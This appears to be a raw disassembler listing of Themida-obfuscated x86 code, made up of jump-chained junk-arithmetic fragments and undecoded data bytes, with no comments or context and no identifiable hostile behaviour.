dd 83F3814Bh, 0C159E325h, 57E908EBh, 5100009Fh, 0A25870B9h
dd 3E9C100h, 4906E9C1h, 41E9D1F7h, 5A000010h, 8004C483h
dd 7A046DEDh, 7A2CE800h, 0FF2434FFh, 83592434h, 0C48304C4h
dd 393B6804h, 1C890000h, 0E94DB324h, 3D04h
; ---------------------------------------------------------------------------
loc_4F65CC: ; CODE XREF: Themida_:004FB55Ej
add esi, 4
xchg esi, [esp]
pop esp
or ebx, ebx
jmp loc_4F841A
; ---------------------------------------------------------------------------
db 89h, 0E6h, 0E9h
dd 0EDFh, 242C335Fh, 33242C31h, 0F75C242Ch, 4EC83F9h, 68241C89h
dd 1161h, 6A06E954h, 1ABB0000h, 0BA5EFF0Dh, 33CE586Eh
dd 0FFF8ACE9h, 5BDA29FFh, 2474FF52h, 48F5A04h, 3C895C24h
dd 2474FF24h, 18E95F04h, 80000030h, 0C30048EBh, 8148C380h
dd 4ECh, 24048900h, 0CCFE63B4h, 8008ECC0h, 0C38014ECh
dd 80E3286Eh, 34FF6EEBh, 0C4835824h, 5ACF6804h, 4890000h
dd 2317B824h, 575522CBh, 0B9490DBFh, 81EFD15Ch, 0D83C5FC7h
dd 5FFD89AEh, 0B2D4905h, 55E80153h, 0FE7204BDh, 0A6E58100h
dd 452BD249h, 4C4B951h, 0CD017D39h, 807E9h, 6FE95800h
dd 0FF00007Eh, 669D1C77h, 2414D259h, 9839E99Ch, 7F2D0000h
dd 9BAE8B0h, 0E94F58C7h, 77EAh, 3162EE81h, 0F129EEB9h
dd 3481E95Eh, 0E9520000h, 0A593h, 0C03EB652h, 0F68008EEh
dd 4E6C01Ch, 287DEE80h, 24148BF5h, 81E78957h, 4C7h, 9A7CE900h
dd 1C310000h, 241C3324h, 0E924248Bh, 0A04h
; ---------------------------------------------------------------------------
loc_4F66FC: ; CODE XREF: Themida_:004F93E1j
sub esp, 4
mov [esp], eax
push edi
push 51AE5D8Dh
jmp loc_4FAC81
; ---------------------------------------------------------------------------
db 66h, 0FFh, 30h
dd 0FFF5FDE9h, 0E9EA31FFh, 8993h, 8BB95155h, 0E92A181Ch
dd 88D4h, 4B8h, 58C50100h, 8102C583h, 4ECh, 242C8900h
dd 42474FFh, 43E2E95Dh, 0E0890000h, 405h, 40500h, 4870000h
dd 88505C24h, 58E388F4h, 3EE7E9h, 148B6600h, 6C5EE924h
dd 0C8B0000h, 4C48324h, 6FD4E9h
db 0
; ---------------------------------------------------------------------------
loc_4F6775: ; CODE XREF: Themida_:004F6164j
not edx
sub edx, 183446C2h
sub edx, 141E701Dh
inc edx
not edx
neg edx
sub edx, 69955828h
add edx, 6D5BF470h
sub edi, edx
jmp loc_4FE6C4
; ---------------------------------------------------------------------------
db 29h
dd 0F2815DEAh, 32211F55h, 0A819F281h, 0D5012C7Ah, 2BA525Ah
dd 81000000h, 5C7CE5EDh, 0E9D50112h, 6EDBh, 0BF57D901h
dd 1000446Bh, 0E95FF901h, 581Bh
; ---------------------------------------------------------------------------
loc_4F67D0: ; CODE XREF: Themida_:0050068Ej
push dword ptr [esp]
pop ebx
push 34D8h
mov [esp], ecx
jmp loc_500BFF
; ---------------------------------------------------------------------------
db 8Bh, 14h, 24h
dd 4C481h, 0CBFE0000h, 68h, 241C2800h, 2426E9h, 48F5800h
dd 48DE924h, 7DB10000h, 34FFCB00h, 0C4835924h, 66C30004h
dd 80BEB551h, 506625F5h, 0C53044B0h, 0CDFE5866h, 80BEED80h
dd 0E95001EDh, 545Dh
; ---------------------------------------------------------------------------
loc_4F682C: ; CODE XREF: Themida_:004F6DF0j
push 12FC03E1h
pop ecx
xor ecx, 12FC0BE1h
jmp loc_500EEF
; ---------------------------------------------------------------------------
db 57h, 0BFh, 99h
dd 0E946C31Ch, 2FCFh, 53E9CF88h, 66000091h, 0E9515351h
dd 7173h, 0C72641BDh, 0D5F74543h, 0FFF85DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F6865: ; CODE XREF: Themida_:004FD41Fj
add ebp, ebx
jmp loc_4F9FDE
; ---------------------------------------------------------------------------
dd 0FFF4A1E9h, 4EC83FFh, 68241489h, 59690CD3h, 0DAF74A5Ah
dd 0CB98EA81h, 0D78933C8h, 0E924148Bh, 2C02h, 24048B66h
dd 2A5A6853h, 24890000h, 24048124h, 4, 0FFF666E9h, 48153FFh
dd 5D7BC924h, 81008F47h, 5D7BC928h, 30815B47h, 0B2D55684h
dd 0FFF75AE9h, 1C77FFFFh, 0D359669Dh, 0E99C241Ch, 0FFFFF43Eh
dd 875BDD01h, 0E95C242Ch, 138Ch, 81242489h, 42404h, 52590000h
dd 4BAh, 0D6EE900h, 51500000h, 464CF668h, 240C8B17h, 0F704C483h
dd 8E1C1D1h, 5648C981h, 49E904EFh
db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F6913: ; CODE XREF: Themida_:004FE896j
mov [esp], eax
mov eax, esp
push ebp
mov ebp, 76BD422Bh
not ebp
xor ebp, 3ED11141h
not ebp
or ebp, 3E64741Ah
add ebp, 8193888Ah
add eax, ebp
pop ebp
add eax, 4
jmp loc_4FC8C7
; ---------------------------------------------------------------------------
db 5Dh, 81h, 0C4h
dd 4, 1AFCC381h, 6AE9247Bh, 8900004Eh, 4C381E3h, 83000000h
dd 0F3E904C3h, 66000019h
db 8Bh, 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 3B24h
jmp loc_4F64F4
; ---------------------------------------------------------------------------
dd 66D33166h, 0E3C1665Ah, 0EB816603h, 0E1E983EFh
db 2Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F6987: ; CODE XREF: Themida_:004FCEE7j
add esp, 4
jmp loc_4FE382
; ---------------------------------------------------------------------------
db 2Ch
dd 18E7E909h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F6996: ; CODE XREF: Themida_:004FD9FCj
push 195Bh
mov [esp], esi
push edi
mov edi, 82A6484h
neg edi
and edi, 152D3AB8h
and edi, 441A70C7h
xor edi, 1160353Ch
mov esi, edi
jmp loc_4FAC7B
; ---------------------------------------------------------------------------
db 81h
dd 474825C9h, 0A5E98144h, 816ED748h, 5B1F7CEDh, 0E9CD010Eh
dd 7226h, 83241C8Bh, 536604C4h, 1E6FE9h, 0FF686600h, 665A6617h
dd 666313BDh, 665AD529h, 5D66EA89h, 5BDA2966h, 9807E9h
db 0
; ---------------------------------------------------------------------------
loc_4F6A01: ; CODE XREF: Themida_:004F7CC5j
sub esi, ebp
push ebp
mov ebp, 0DF266D0h
neg ebp
shr ebp, 2
not ebp
add ebp, 5A897969h
sub ebp, 1842231Eh
jmp loc_4F703C
; ---------------------------------------------------------------------------
db 31h, 1Ch, 24h
dd 241C3153h, 31241C33h, 0D387241Ch, 0D387D2F7h, 2474FF53h
dd 48F5B04h, 371CE924h, 89660000h, 0B252240Ch, 1CC280A5h
dd 8B3EE9h, 8089B100h, 0C800D5E9h, 1298E9h, 4C48100h, 0E9000000h
dd 7B21h
; ---------------------------------------------------------------------------
loc_4F6A68: ; CODE XREF: Themida_:00500D38j
mov ebp, 1BE8A567h
add ebp, esi
pop esi
shl ebp, 4
not ebp
xchg edi, ebp
inc edi
xchg edi, ebp
neg ebp
sub ebp, 2B1EB785h
mov esi, ebp
mov ebp, [esp]
add esp, 4
add eax, esi
pop esi
sub edx, eax
pop eax
and eax, edx
mov edx, [esp]
add esp, 4
or eax, eax
jz loc_4F72B3
push dword ptr [edi+1Ch]
push esi
mov esi, 26725222h
add [esp+4], esi
push dword ptr [esp]
pop esi
jmp loc_4FC3BF
; ---------------------------------------------------------------------------
db 81h, 0C2h, 55h
dd 594E0E40h, 8B241487h, 8B662424h, 5451240Ch, 4C18159h
dd 83000000h, 1AE904E9h, 66000041h, 66706868h, 0B4240489h
dd 66E10802h, 8324048Bh, 0B45002C4h, 0FEC4FE72h, 8ECC0C4h
dd 8086EC80h, 0E1286CF4h, 83C1FE58h, 148904ECh, 0B69FE924h
dd 8B660000h, 0E9502404h, 6A0Dh, 104968h, 24348900h, 8904EC83h
dd 4832424h, 348B0424h, 4C48124h, 81000000h, 4C6h, 4BF5700h
dd 1000000h, 34335FFEh, 93F0E924h, 0E9550000h, 6856h, 1BD1C281h
dd 0EA81494Ch, 23AE09AAh, 0BE56CA01h, 242D536Fh, 2F54BB53h
dd 0DE3162A5h, 12F6815Bh, 814A5967h, 0DCEE81C6h, 5EF20116h
dd 1BD16851h, 2959494Ch, 30E959CAh, 0F70000B5h, 0FEF681DEh
dd 0E942DE6Dh, 4979h, 5BFC381h, 0D3012AACh, 5BFEB81h, 0EC832AACh
dd 24048904h, 4E5554B8h, 5E0C122h, 4159812Dh, 48F70509h
dd 0E9487ED8h, 506Ah
; ---------------------------------------------------------------------------
loc_4F6BC4: ; CODE XREF: Themida_:00501A1Aj
mov eax, 112F6DE6h
push eax
sub dword ptr [esp], 5F9946ECh
jmp loc_4FC3CE
; ---------------------------------------------------------------------------
dw 0E901h
dd 0FFF257E9h, 241489FFh, 0F388C688h, 8124148Bh, 4ECh
dd 92D2E900h, 89660000h, 0D868241Ch, 0E9000045h, 0FFFFFFDDh
dd 0E9241487h, 887Bh
; ---------------------------------------------------------------------------
loc_4F6C08: ; CODE XREF: Themida_:004FAEB0j
mov ebx, 6C3F780Ch
dec ebx
jmp loc_4FCA4F
; ---------------------------------------------------------------------------
dd offset loc_420965+3
align 4
dd 68243C89h, 739811C2h, 0D8E9475Fh, 5600008Ch, 6D1C2568h
dd 61E95E2Fh, 56000025h, 468h, 0F2015E00h, 2414875Eh, 376BE9h
dd 1726800h, 0B3E90000h, 5800001Bh, 1FE9F201h, 5D000023h
dd 58C2E9h
db 0
; ---------------------------------------------------------------------------
loc_4F6C5D: ; CODE XREF: Themida_:005006F0j
mov [esp], edi
push ecx
mov ecx, 1000000h
push 76EAh
mov [esp], ecx
pop edi
pop ecx
jmp loc_4F8B1A
; ---------------------------------------------------------------------------
loc_4F6C75: ; CODE XREF: Themida_:004FA3E6j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_4F70A2
; ---------------------------------------------------------------------------
db 8Bh
dd 8B662424h, 0EC832404h, 24048904h, 0FFF1C3E9h, 4C483FFh
dd 4BF57h, 0FB010000h, 2B9515Fh, 81000000h, 115949C3h
dd 81CB015Ah, 115949EBh, 1C87595Ah, 31665C24h, 0E99C2404h
dd 0FFFFF042h, 0C281C201h, 4C715BE7h, 3A9DE9h, 2434FF00h
dd 4C4815Dh, 31000000h, 2434FFF8h, 81243C8Bh, 4C4h, 6E60E900h
dd 0E9550000h, 0C5Ch, 9D9C41BFh, 0A673E9A3h, 0E95C0000h
dd 0A70Eh, 8704EF83h, 17E9243Ch
db 90h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F6D1B: ; CODE XREF: Themida_:005006C5j
push 237Ch
jmp loc_4FACE6
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 6804C483h, 545Ch, 89241C89h, 4BA52E3h, 0E9000000h, 58CBh
dd 5304C483h, 0E7C049B7h, 300AE905h, 48F0000h, 4E11E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F6D56: ; CODE XREF: Themida_:0050172Fj
add ecx, 4
jmp loc_4FD932
; ---------------------------------------------------------------------------
loc_4F6D61: ; CODE XREF: Themida_:004FA4A1j
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push 1CCAh
mov [esp], esi
push edx
jmp loc_4F89D5
; ---------------------------------------------------------------------------
db 5Ch
dd 0F66E9F6h, 8953CCB6h, 9CE957E3h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F6D8B: ; CODE XREF: Themida_:004FB15Cj
xchg ebp, [esp]
pop esp
push esi
push esp
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], ecx
jmp loc_4FEFED
; ---------------------------------------------------------------------------
loc_4F6DB5: ; CODE XREF: Themida_:004FEBD9j
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_4FAA04
; ---------------------------------------------------------------------------
db 5, 4Ch, 4Eh
dd 0BA2D6242h, 295FCB52h, 52BA05E8h, 4C2D5FCBh, 5D62424Eh
dd 762E9h
db 0
; ---------------------------------------------------------------------------
loc_4F6DDD: ; CODE XREF: Themida_:004FDFBBj
mov ebp, edi
pop edi
xor ebp, 79885C8Ch
jmp loc_500EBF
; ---------------------------------------------------------------------------
loc_4F6DEB: ; CODE XREF: Themida_:00501011j
mov esp, [esp]
push edi
push ecx
jmp loc_4F682C
; ---------------------------------------------------------------------------
db 83h, 0EFh, 4
aZSro db '‡<$é®',0
align 10h
dd 81F3E981h, 0C8294276h, 5D94E9h, 0E9814100h, 246709D9h
dd 7EA8BA52h, 0D1311784h, 22C1815Ah, 0C1370B51h, 0E98107E1h
dd 7465F57Ch, 8159CB01h, 2C3h, 241C8700h, 0F624248Bh, 0B60F66F1h
dd 16866CCh, 0C896618h, 0B60F6624h, 9C5166C8h, 0FFEEBDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F6E55: ; CODE XREF: Themida_:004F8DE7j
add ebp, 1
dec ebp
xor ebp, 33194291h
add ebx, ebp
mov ebp, [esp]
push ebx
mov ebx, esp
jmp loc_4F8CC4
; ---------------------------------------------------------------------------
loc_4F6E6F: ; CODE XREF: Themida_:004FD202j
mov [esp], ecx
mov cl, 0A7h
neg cl
or cl, 3Dh
add cl, 0B9h
or cl, 66h
add cl, 1Dh
sub cl, 17h
sub bl, cl
jmp loc_501132
; ---------------------------------------------------------------------------
loc_4F6E8C: ; CODE XREF: Themida_:004FD769j
shl ecx, 4
add ecx, 0C991CA21h
mov edx, ecx
jmp loc_4F6417
; ---------------------------------------------------------------------------
dd 0E9240C8Bh, 1178h, 5324048Bh, 86E9h, 74FF5700h, 3C8B0424h
dd 4C48324h, 0B2E9h, 40EF8100h, 81073115h, 0C07B0FC7h
dd 81CF2954h, 0C07B0FEFh, 40C78154h, 81073115h, 0F56A08EFh
dd 0EB81592Ah, 75185666h, 2807E9h
db 0
; ---------------------------------------------------------------------------
loc_4F6EE9: ; CODE XREF: Themida_:004FABDFj
inc edx
sub edx, 224E6F8Fh
add edx, 36D60D54h
shl edx, 4
jmp loc_4F98B9
; ---------------------------------------------------------------------------
dw 0F758h
dd 0D12D40D8h, 8911E08Ah, 0E95058C6h, 1C26h, 243C895Ch
dd 51B0E9h
db 0
; ---------------------------------------------------------------------------
loc_4F6F19: ; CODE XREF: Themida_:004FD5BAj
mov [esp], eax
mov eax, 3CDE49F3h
push eax
not dword ptr [esp]
pop eax
shl eax, 1
inc eax
push 37A8h
jmp loc_4FCE5A
; ---------------------------------------------------------------------------
db 54h
dd 81241C8Bh, 4C4h, 8DBF5700h, 4F781B4Dh, 74F4E9h, 0E8835C00h
dd 24048704h, 2414895Ch, 0B7E99C50h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F6F5B: ; CODE XREF: Themida_:00501111j
sub ecx, 2DE91ACAh
add ebp, ecx
pop ecx
jmp loc_4FF2C5
; ---------------------------------------------------------------------------
db 59h, 0E9h, 0A9h
dd 8FFFFFFBh, 815C2404h, 4ECh, 241C8900h, 8B53C389h, 54552414h
dd 4C5815Dh, 0E9000000h, 4D45h, 4BAh, 5AD70100h, 5C243C87h
dd 252768h, 24048900h, 0FFED69E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F6FA9: ; CODE XREF: Themida_:004FF64Bj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
and eax, edx
mov edx, [esp]
add esp, 4
jmp loc_4F720D
; ---------------------------------------------------------------------------
dd 55CEEA81h, 0C2011B22h, 3A7EB951h, 0D1877626h, 0D187DAF7h
dd 8106E1C1h, 53354EF1h, 0E9CA016Dh, 1F98h
; ---------------------------------------------------------------------------
loc_4F6FE4: ; CODE XREF: Themida_:004FCA70j
sub eax, 41005414h
not eax
jmp loc_501F9B
; ---------------------------------------------------------------------------
dd 0D8769D25h, 24DF0509h, 0C789684Eh, 0D2F78158h, 813E8E43h
dd 0C01B09F7h, 50C6814Eh, 136AC2Ch, 50EE81FEh, 8B36AC2Ch
dd 0EC81243Ch, 4, 89243C89h, 4C781E7h, 51000000h, 4B9h
dd 59CF0100h, 0E9243C87h, 11ADh
; ---------------------------------------------------------------------------
loc_4F703C: ; CODE XREF: Themida_:004F6A1Cj
sub ebp, 0DFA1D381h
sub esi, ebp
push dword ptr [esp]
jmp loc_4F8365
; ---------------------------------------------------------------------------
dd 0F204D0F6h, 5358C708h, 12454F6h, 0C0CFFE5Bh, 0B25203E7h
dd 0B8EA804Bh, 8017C280h, 0D72850EAh, 28B1E95Ah, 8B660000h
dd 0E9512404h, 7FD1h
; ---------------------------------------------------------------------------
loc_4F707C: ; CODE XREF: Themida_:004F875Bj
push edx
jmp loc_4F99FD
; ---------------------------------------------------------------------------
dw 34FFh
aSn db '$^é#',0
db 0
; ---------------------------------------------------------------------------
loc_4F708B: ; CODE XREF: Themida_:004FD36Dj
push ecx
mov cl, al
sub esp, 4
jmp loc_4FDAFA
; ---------------------------------------------------------------------------
dw 48Fh
dd 24048324h, 0EC70E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F70A2: ; CODE XREF: Themida_:004F6C8Aj
mov [esp], ebx
push eax
mov eax, 2ACB2530h
xor [esp+4], eax
jmp loc_501F57
; ---------------------------------------------------------------------------
loc_4F70B4: ; CODE XREF: Themida_:004F89A5j
add ecx, 568251C5h
jmp loc_4FCF01
; ---------------------------------------------------------------------------
db 83h
dd 348704EEh, 24248B24h, 12C6E9h
db 0
; ---------------------------------------------------------------------------
loc_4F70CD: ; CODE XREF: Themida_:004FCE30j
sub edi, ecx
pop ecx
jmp loc_4F7834
; ---------------------------------------------------------------------------
db 0BEh, 54h, 1Ah
dd 0F6811370h, 3E9E0238h, 5A5EF031h, 0A1E9C131h, 8100001Eh
dd 0A5FFDE2h, 233E953h, 0CF680000h, 0E937B753h, 0E49h
dd 24040966h, 0EC08E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F710A: ; CODE XREF: Themida_:00500697j
add esp, 4
push esi
mov esi, 4
sub eax, 71F16C4Dh
add eax, esi
add eax, 71F16C4Dh
pop esi
jmp loc_4F7985
; ---------------------------------------------------------------------------
a0Yqso db '0ÈYQéO<',0
db 0
; ---------------------------------------------------------------------------
loc_4F7131: ; CODE XREF: Themida_:004FA135j
push ecx
mov ecx, 66D928ACh
add esi, ecx
pop ecx
dec esi
add esi, 9F1B2C85h
mov ecx, esi
jmp loc_4FE21F
; ---------------------------------------------------------------------------
dd 4C481h, 0C1810000h, 0F1706F29h, 8636E9h, 24048F00h
dd 2414895Ch, 6DAA68h, 24248900h, 4240483h, 7178E95Ah
dd 0E1810000h, 780A33F3h, 0F8F18149h, 971CC4Eh, 0AA9DE9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F7186: ; CODE XREF: Themida_:004FEA05j
pop esi
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_4FE1E5
; ---------------------------------------------------------------------------
loc_4F719B: ; CODE XREF: Themida_:004FF5B6j
sub ebp, ebx
jmp loc_5010AF
; ---------------------------------------------------------------------------
loc_4F71A2: ; CODE XREF: Themida_:004FF58Aj
mov ebx, 4
add ebp, 7773898h
add ebp, ebx
sub ebp, 7773898h
mov ebx, [esp]
add esp, 4
xchg ebp, [esp]
pop esp
push 1860h
mov [esp], ebp
mov ebp, esp
push eax
mov eax, 4
add ebp, eax
pop eax
sub esp, 4
mov [esp], edi
mov edi, 4
sub ebp, edi
push dword ptr [esp]
jmp loc_4FAAC8
; ---------------------------------------------------------------------------
dw 0D831h
dd 118ABE56h, 535168FAh, 86EDE9h, 5EF38900h, 0E95BD989h
dd 0FFFFF7BBh, 535D5455h, 91ECE9h
db 0
; ---------------------------------------------------------------------------
loc_4F720D: ; CODE XREF: Themida_:004F6FBBj
or edx, eax
shl edx, 1
xchg ecx, [edi+24h]
add ecx, 1
push dword ptr [edi+24h]
push ecx
pop dword ptr [edi+24h]
mov ecx, [esp]
push ebp
jmp loc_4FCAB0
; ---------------------------------------------------------------------------
dw 2B2Ch
dd 0F64BB753h, 0FEC7FED7h, 52C7FECFh, 0ADE90FB6h, 830000AFh
dd 0C4E904C4h
db 2Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F7247: ; CODE XREF: Themida_:004FBE5Fj
push edi
mov edi, 4B57322Ah
or ebp, edi
jmp loc_4FC124
; ---------------------------------------------------------------------------
dd 5B5DEE89h, 7D242A05h, 2340E933h, 55E0000h, 3DFF460Dh
dd 0D2DD001h, 5A3DFF46h, 3B2EBB53h, 683A4Fh, 0E9000000h
dd 4A10h, 83241C8Bh, 835104C4h, 48904ECh, 9138E924h, 28D10000h
dd 0BB53h, 182B0000h, 0FFF608E9h, 0E9D7F7FFh, 86E9h
; ---------------------------------------------------------------------------
loc_4F72A8: ; CODE XREF: Themida_:004FC3C9j
push esi
mov esi, 4
jmp loc_501228
; ---------------------------------------------------------------------------
loc_4F72B3: ; CODE XREF: Themida_:004F6A9Dj
; Themida_:004FE1EEj
sub esp, 4
mov [esp], ecx
push ebx
jmp loc_501361
; ---------------------------------------------------------------------------
dw 0BE56h
dd 6BE11BAFh, 1EE453B9h, 5EF10194h, 4055EA81h, 0CA014E0Eh
dd 0FFF7DCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F72DD: ; CODE XREF: Themida_:00500AB6j
xchg ebx, [esp]
push ebx
not dword ptr [esp]
mov ebx, [esp]
add esp, 4
xchg ebx, [esp]
pop ebx
push 2135h
mov [esp], ebx
jmp loc_500DC6
; ---------------------------------------------------------------------------
dw 348Bh
dd 4C48124h, 49000000h, 2F61E981h, 0E9C17022h, 0CFF5103h
dd 240C8B24h, 4BE95452h, 1FFFFF2h, 240C8BCAh, 0B3BDE9h
dd 0F28100h, 83422D6Ch, 0F28101EAh, 849DF8Ch, 24348152h
dd 2DEE186Ch, 8EE95658h, 29FFFFFDh, 0D7895DEAh, 0CFEF815Ah
dd 0E97F810Eh, 8A0Fh, 4BA525Dh, 1000000h, 24148BD0h, 4878E9h
dd 241C8900h, 42474FFh, 81241C8Bh, 4C4h, 24048F00h, 2024248Bh
dd 0E99C2404h, 0FFFFE98Ah
; ---------------------------------------------------------------------------
loc_4F7388: ; CODE XREF: Themida_:004FF7D8j
xor ebp, [esp]
pop esp
jmp loc_4F80CD
; ---------------------------------------------------------------------------
db 0E9h, 7Ch, 0E9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F7396: ; CODE XREF: Themida_:004FC2A0j
add esp, 4
add esp, 4
sub esp, 4
mov [esp], ecx
mov ecx, 4
sub esi, 4CEC22BEh
add esi, ecx
jmp loc_4FB557
; ---------------------------------------------------------------------------
loc_4F73BA: ; CODE XREF: Themida_:004FE1F4j
pop eax
jmp loc_4FF93A
; ---------------------------------------------------------------------------
dd 21E88B05h, 53A2E91Eh, 4870000h, 14895C24h, 0AB8BA24h
dd 0EAC14B62h, 0F7E2D103h, 70BD55D2h, 0E93EFE0Dh, 4301h
dd 7EFC15Dh, 1334E781h, 87E93993h, 8B00000Fh, 14E9242Ch
dd 0F00007Dh, 9C2404A3h, 0FFE909E9h, 2CD366FFh, 8AE99C24h
db 6Ah, 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_4FE0CD
; ---------------------------------------------------------------------------
db 89h
dd 0BF57240Ch, 78A22E8Bh, 38DBF781h, 0C78133DDh, 50BC7643h
dd 6F8DC781h, 0F9890FD0h, 8BCE315Fh, 0C481240Ch, 4, 348BF031h
dd 4C48124h, 68000000h, 1505h, 9453E9h, 551E6800h, 34890000h
dd 0BF575124h, 79590119h, 0D7F7DFF7h, 1DFBC781h, 0F989E2F6h
dd 83243C8Bh, 776804C4h, 89000067h, 5EB82404h, 2D493328h
dd 694928C7h, 96D6F796h, 234E9305h, 0D7E981F1h, 0E9135A3Fh
dd 9615h, 28B6664h, 395C6866h, 8388E9h, 0C00EB100h, 0F3E907E1h
dd 8100002Ch, 4C6h, 9062E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F74CE: ; CODE XREF: Themida_:005002E0j
push esi
push eax
push ecx
mov ecx, 8C62D0Eh
jmp loc_4FA823
; ---------------------------------------------------------------------------
db 5Fh
dd 0E924048Fh, 0A8A3h
; ---------------------------------------------------------------------------
loc_4F74E4: ; CODE XREF: Themida_:004FCA51j
shl ebx, 5
not ebx
shr ebx, 1
push edi
mov edi, 6C65507Bh
jmp loc_4F94DC
; ---------------------------------------------------------------------------
loc_4F74F6: ; CODE XREF: Themida_:004FC1ECj
add ebp, esi
pop esi
push edi
mov edi, 4
sub ebp, edi
pop edi
xor ebp, [esp]
jmp loc_4FF7D5
; ---------------------------------------------------------------------------
aRs6m db 'Ré6m',0
align 10h
aSQcsSV db ')ÆS»Qcè{éÀV',0
db 0
; ---------------------------------------------------------------------------
loc_4F751D: ; CODE XREF: Themida_:004F90D2j
mov ebp, esi
mov esi, [esp]
jmp loc_4FA6BB
; ---------------------------------------------------------------------------
db 58h
dd 0E924048Fh, 0FFFFE7E2h
; ---------------------------------------------------------------------------
loc_4F7530: ; CODE XREF: Themida_:004FBC4Ej
xchg ebx, [esp]
pop esp
sub esp, 4
jmp loc_4FD363
; ---------------------------------------------------------------------------
db 52h
dd 6FB1BE56h, 0F1E93C51h, 8B00007Dh, 8953240Ch, 68B951E3h
dd 81503E19h, 3147F6C9h, 52E95527h, 570000AAh, 3704F2BFh
dd 2BC78148h, 52066831h, 0D55580BAh, 4AFCE951h, 815E0000h
dd 6A153EC3h, 136CE9DEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F7586: ; CODE XREF: Themida_:004FE199j
add ebx, edi
sub ebx, 6C2A3281h
jmp loc_4F9E59
; ---------------------------------------------------------------------------
db 56h
dd 468h, 0F1015E00h, 0FFEA70E9h, 89F929FFh, 0EFC159CFh
dd 0E9E95008h
db 14h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F75AF: ; CODE XREF: Themida_:004FE1D1j
push dword ptr [eax]
jmp loc_4F5D12
; ---------------------------------------------------------------------------
dw 5053h
dd 405E089h, 2D000000h, 4, 5C240487h, 87E9E9h
db 0
; ---------------------------------------------------------------------------
loc_4F75CD: ; CODE XREF: Themida_:004FF703j
sub eax, ebx
pop ebx
push eax
add dword ptr [esp], 51CC0B82h
pop edi
sub edi, 51CC0B82h
jmp loc_4F8F26
; ---------------------------------------------------------------------------
aB0q db 'Á0Q',0
align 2
dw 0C801h
dd 24048759h, 6624248Bh, 17E930FFh, 89FFFFE7h, 74FF2414h
dd 55E90424h
db 4Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F7607: ; CODE XREF: Themida_:004FB4D7j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push 7782h
mov [esp], esi
jmp loc_4FFE50
; ---------------------------------------------------------------------------
dw 558h
dd 0DEF2C892h, 0E958C589h, 3062h, 496DE957h, 34FF0000h
dd 0C4835B24h, 4BE5604h, 1000000h, 71E95EF3h, 89000048h
dd 6DD268F0h, 0C890000h, 89C18924h, 0E95859CFh, 0D94h
dd 34FFD101h, 6C685A24h, 89000058h, 0E389241Ch, 4C381h
dd 0C3830000h, 241C8704h, 2C1835Ch, 2474FF51h, 240C8B04h
dd 4C481h, 55E90000h, 0FF000017h, 5A042474h, 5C24048Fh
dd 9C240409h, 0FFE669E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F76A9: ; CODE XREF: Themida_:004FCFF8j
add edi, ebx
jmp loc_4FA4F0
; ---------------------------------------------------------------------------
dd 4445B951h, 0CB2942F3h, 62D7E9h
db 0
; ---------------------------------------------------------------------------
loc_4F76BD: ; CODE XREF: Themida_:004FD975j
pop eax
push ebp
jmp loc_500216
; ---------------------------------------------------------------------------
dd 0B0240489h, 58C6003Dh, 0E914EE80h, 0FFFFECE3h, 56D6EB81h
dd 0D3011673h, 48AEE9h
db 0
; ---------------------------------------------------------------------------
loc_4F76E1: ; CODE XREF: Themida_:004F651Fj
movzx ecx, al
push 46D0h
mov [esp], ecx
jmp loc_5005D1
; ---------------------------------------------------------------------------
db 8Bh, 2Ch, 24h
dd 4C481h, 83E90000h, 83FFFFF9h, 0BF5704C4h, 3CE731F1h
dd 55EFE9h, 4C68100h, 81000000h, 4ECh, 24048900h, 4B8h
dd 51EE8100h, 0E97BE863h, 0FFFFFDE4h
; ---------------------------------------------------------------------------
loc_4F772C: ; CODE XREF: Themida_:004F9463j
pop ecx
push edi
push eax
push 6B0A1537h
pop eax
jmp loc_4FB96F
; ---------------------------------------------------------------------------
dw 0C281h
dd 0DFA409C4h, 6DA6C181h, 0D101125Fh, 0D13E9h, 6CF5B900h
dd 0CA292A89h, 6F8AE959h, 34FF0000h
db 24h, 58h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
mov edi, 187314FDh
inc edi
or edi, 6EA27651h
inc edi
push ecx
mov ecx, 496F2C12h
push ecx
dec dword ptr [esp]
mov ecx, [esp]
add esp, 4
or ecx, 17467F86h
add ecx, 2BEB2F2Bh
not ecx
push esi
mov esi, 0BB3ABCCCh
jmp loc_501BCC
; ---------------------------------------------------------------------------
aIcsL db '‰æé³«',0
dw 6800h
dd 5689h, 83241C89h, 248904ECh, 0DBEE924h, 815F0000h, 0EE4CCAEEh
